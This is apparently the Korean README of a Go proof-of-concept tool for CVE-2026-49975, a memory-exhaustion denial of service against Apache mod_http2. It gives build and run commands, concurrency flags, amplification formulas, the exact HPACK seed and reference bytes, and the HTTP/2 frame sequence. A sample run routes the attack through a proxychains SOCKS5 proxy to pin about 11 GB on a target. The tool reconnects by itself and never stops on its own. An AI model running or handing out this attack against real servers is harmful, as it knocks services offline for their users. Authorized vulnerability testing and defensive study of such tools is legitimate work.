
CVE-2026-49975에 대한 보안 연구 PoC: Apache mod_http2의 HTTP/2 HPACK 압축 폭탄 + 흐름 제어 유지 DoS
⚠️ 이것은 동작하는 메모리 고갈 DoS 도구이며, 장난감이 아닙니다. 대상이 메모리를 할당하도록 강제하는 스트림을 열고 HTTP/2 흐름 제어 트릭을 통해 이를 열린 상태로 유지합니다. 프로세스가 실행되는 한 계속 홀드하며 서버가 연결을 끊으면 자동으로 재연결합니다 — 스스로 멈추지 않습니다. 영향은
--threads,--streams,--headers에 정비례하여 커집니다. 프로세스를 중지하면(Ctrl+C) 홀드된 스트림이 해제되고 서버가 복구되지만, 기본 동작 중 "온건한" 부분은 전혀 없습니다 — 모든 실행을 실전 테스트로 취급하십시오.
CVE-2026-49975("HTTP/2 Bomb")는 Apache HTTP Server의 mod_http2 모듈에 영향을 미치는 원격, 비인증 서비스 거부 취약점입니다. 이는 오래전부터 알려진 두 가지 HTTP/2 약점을 연쇄시킵니다:
Cookie 헤더 조각을 LimitRequestFields에 대해 계산되지 않은 채 병합하도록 하여, 서버가 내부 헤더 부기 구조를 위해 반복적으로 메모리를 할당하도록 강제합니다.결과: 적당한 연결의 단일 클라이언트가 스트림이 열린 상태로 유지되는 한 대상에 상당하고 지속적인 메모리 할당을 강제할 수 있습니다. 이 구현은 두 가지 페이로드 모드를 지원하며 구성한 동시성에 따라 선형적으로 확장됩니다:
nginx 모드 — HPACK 동적 테이블에 빈 x-bomb 헤더를 심고 반복적으로 재참조합니다 (참조당 약 70:1 증폭).classic 모드 — 대신 과대한 cookie 헤더를 심습니다 (참조당 약 4000:1 증폭).각 연결은 스트림당 심어진 헤더를 수천 번 재참조하며(--headers, 기본값 5000), 연결당 여러 스트림(--streams, 기본값 10)과 여러 병렬 연결(--threads, 기본값 1)에 걸쳐 수행합니다. 서버가 연결을 닫으면 도구는 즉시 재연결하고 계속 진행하며 수동으로 중지할 때까지 멈추지 않습니다 — 이는 일회성 프로브가 아닌 연속 홀드 루프입니다.
다른 영향을 받는 스택의 관련 식별자(이 저장소에서 구현되거나 테스트되지 않음):
CVE-2026-47774완전성을 위해, 근본적인 약점 클래스의 전체 범위 — "HTTP/2 Bomb" 기법(HPACK 압축 폭탄 + 흐름 제어 홀드)은 Apache 외에도 여러 서버 구현에 영향을 미칩니다. 이 저장소는 Apache 사례만 구현하고 테스트합니다. 나머지는 독자가 더 넓은 클래스를 이해할 수 있도록 포함된 것이지, 이 PoC가 그것들을 실행하기 때문이 아닙니다:
| 구현 | 상태 | 이 PoC에서 구현됨? |
|---|---|---|
Apache HTTP Server mod_http2 | httpd 2.4.68에서 수정됨 (2026-06-08) | 예 — 이 저장소 |
| nginx | 1.29.8에서 수정됨 | 아니오 |
| Envoy | 별도로 추적됨 | 아니오 |
| Microsoft IIS | 별도로 추적됨 | 아니오 |
| Cloudflare Pingora | 별도로 추적됨 | 아니오 |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (NVD/CVE.org 기준, 과도한 크기 값으로 인한 메모리 할당); 일부 벤더는 CWE-409 (고압축 데이터의 부적절한 처리)로도 추적 |
| CVSS | 7.5 (High) — CVSS v3.1, 가용성 전용 벡터 (NVD 기준). Apache 자체 권고는 Moderate로 평가. |
| 영향받는 구성 요소 | Apache HTTP Server mod_http2 |
| 취약한 버전 | Apache httpd 2.4.17 ≤ 버전 ≤ 2.4.67 (기본 HTTP/2 구성) |
| 수정된 버전 | Apache HTTP Server 2.4.68 (2026-06-08 릴리스). 근본 수정은 2026-05-27 업스트림 mod_h2에 반영되었고, 2026-06-02 httpd 2.4.x 브랜치에 병합되어 2.4.68 릴리스에 포함됨. |
| 공격 유형 | 서비스 거부 — 메모리 고갈 (가용성에만 영향) |
| 인증 필요 | 아니오 |
| 데이터 노출 / RCE | 없음 — 가용성 영향만 있음 |
| 알려진 악용 | 현재 추적 소스에서 실제 악용 사례로 표시되지 않음. |
참고 자료 (1차 출처 — 모든 주장을 독립적으로 검증하십시오):
이 저장소는 다음을 포함합니다:
이 저장소는 다음을 포함하지 않습니다:
무엇이든 하기 전에 이것을 읽으십시오.
이 저장소의 코드를 다운로드, 복제 또는 실행함으로써, 귀하는 적절한 권한을 확보할 전적인 책임이 있음에 동의하며, 사용에 대한 모든 법적 책임을 수락합니다.
CVE-2026-49975는 섹션 1의 두 기준을 모두 충족하는 대상에만 적용됩니다 — HTTP/2를 통해 도달 가능 하고 범위 내 취약한 mod_http2 버전(2.4.17 ≤ 버전 ≤ 2.4.67, 기본 구성)을 실행 중이어야 합니다. 대상의 HTTPS 포트에 대한 단순한 curl -vkI로 둘 다 확인할 수 있습니다 — 스캐너나 추가 플래그가 필요하지 않습니다:
curl -vkI https://<target>
출력에서 확인할 사항:
ALPN: server accepted h2 — 서버가 이 연결에 대해 HTTP/2를 협상했습니다. 버그가 mod_http2에 있으므로 이것이 CVE-2026-49975의 전제 조건입니다. 여기서 h2를 수락하지 않은 서버는 후보가 아닙니다.Server 응답 헤더(-v 출력의 더 아래쪽, HEAD 응답 헤더가 출력되면 표시됨) — 이것이 실제 Apache/mod_http2 버전을 섹션 1의 취약 범위와 대조하여 확인하거나 배제하는 것입니다. ALPN 수락만으로는 버전을 확인하지 못합니다 — 여전히 Server 헤더 또는 동등한 배너 확인이 필요합니다.이 저장소에서는 이 외에는 정찰에 사용되지 않습니다 — 능동적 악용 트래픽, 취약점 스캐너, 포트 스윕 없음.
cve202649975)golang.org/x/net v0.59.0 (go build를 통해 자동으로 해결됨)443, 기본적으로 TLS/h2; 평문 h2c의 경우 --no-ssl)proxychains4 아래에서 실행되면 LD_PRELOAD 래퍼를 감지하고, 동일한 proxychains4.conf를 읽고, 자체 연결을 해당 SOCKS5 프록시(원격 DNS 확인)를 통해 라우팅합니다 — 계약 범위가 특정 이그레스 경로에서의 테스트를 요구할 때 유용합니다CVE-2026-49975 자체의 공개 타임라인: 2026-05-26 Apache에 보고됨; 2026-05-27 업스트림
mod_h2에 수정 반영됨; 2026-06-02 httpd 2.4.x 브랜치에 병합됨; 2026-06-08 Apache HTTP Server 2.4.68 릴리스됨.
명시적으로 테스트 권한이 부여된 대상에만 실행하십시오. 내장된 지속 시간 제한이나 안전 모드는 없습니다 — 얼마나 오래, 어떤 동시성으로 실행할지는 귀하가 책임집니다.
빌드:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
실행:
./dos <target> <port> [flags]
| 플래그 | 기본값 | 설명 |
|---|---|---|
--threads N | 1 | 병렬 연결 |
--streams N | 10 | 연결당 열리는 스트림 |
--headers N | 5000 | 스트림당 HPACK 동적 테이블 참조 (증폭 구동 요소) |
--mode nginx|classic | nginx | nginx = 빈 헤더 부기 폭탄 (~70:1); classic = 팻 쿠키 폭탄 (~4000:1, 이 CVE가 추적되는 Apache mod_http2 Cookie 병합 메커니즘과 일치) |
--no-ssl | off | TLS 대신 평문 h2c 사용 |
예시, 최소 권한 랩 테스트:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
예상되는 동작:
WINDOW_UPDATE 드립과 주기적 핑으로 스트림을 열린 상태로 유지합니다; 서버가 연결을 닫으면 자동으로 재연결하고 반복합니다.Ctrl+C / SIGTERM을 보낼 때만 중지됩니다 — 이에 맞춰 테스트 시간을 계획하고 대상의 메모리를 실시간으로 모니터링하십시오.--streams/--headers로 스테이징/랩 환경에 대해 먼저 검증하고, 어느 경우든 대상 서비스에 대한 롤백/재시작 계획을 준비하십시오.이 도구의 두 모드에 대한 대략적인 서버 측 메모리 공식 (Apache mod_http2 전용 — nginx/classic이 증폭 비율에 어떻게 매핑되는지는 섹션 1 참조):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
threads/streams/headers를 늘리면 숫자가 선형적으로 증가합니다 — 이것이 권한이 부여된 랩 테스트가 프로덕션 범위 실행 전에 낮게 시작해야 하는 이유입니다(섹션 7 참조).
이것은 이 특정 PoC가 Apache mod_http2에 대해 구현하는 메커니즘을 문서화합니다 — 다른 서버 구현으로 확장되지 않으며, 이는 이 저장소의 범위 밖입니다(섹션 2 참조).
HPACK 동적 테이블 시드 (증분 인덱싱, 인덱스 62에 항목 추가):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
해당 항목에 대한 인덱스 참조 (각 1바이트, --headers번 반복):
0x80 | 62 = 0xbe
연결당 HTTP/2 프레임 시퀀스:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
전송 비용은 작고 스트림당 대부분 고정되어 있습니다(시드에 몇 바이트 + 참조당 1바이트); 서버 측 할당이 불균형적으로 증가하는 것입니다 — 그 격차가 취약점입니다.
권한이 부여된 랩 실행의 출력, classic 모드, 20개 연결 × 연결당 30개 스트림, 스트림당 5000 HPACK 참조, proxychains를 통해 라우팅됨:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
각 연결은 스트림을 열면서 자체 로컬 RAM 기여도를 독립적으로 보고합니다(이 설정에서 연결당 약 572 MB); 사전 점검 Est. server RAM 수치는 모든 연결이 완전히 열리고 홀드되면 20개 연결 전체의 집계입니다(약 11.4 GB).
위의
domain.com은 자리 표시자입니다 — 자신의 실행을 문서화할 때 실제 권한이 부여된 대상으로 교체하고, 계약이 기밀인 경우 삭제하십시오.
LimitRequestFields를 보수적으로 설정하고 헤더 병합 동작을 모니터링하십시오.최초 취약점 발견 및 Apache에 공개 (이 저장소 또는 그 저자와 무관):
이 저장소 (공개 수정이 반영된 후 작성되고 테스트된 Go 재구현):
이 특정 PoC에 대한 질문, 수정 또는 책임 있는 공개와 관련된 우려 사항: 이 저장소에 이슈를 열어주십시오.
라이선스: MIT (이 저장소의 코드에만 해당 — LICENSE 참조). 최초 발견자나 Apache Software Foundation으로 확장되거나 그들의 보증을 암시하지 않습니다.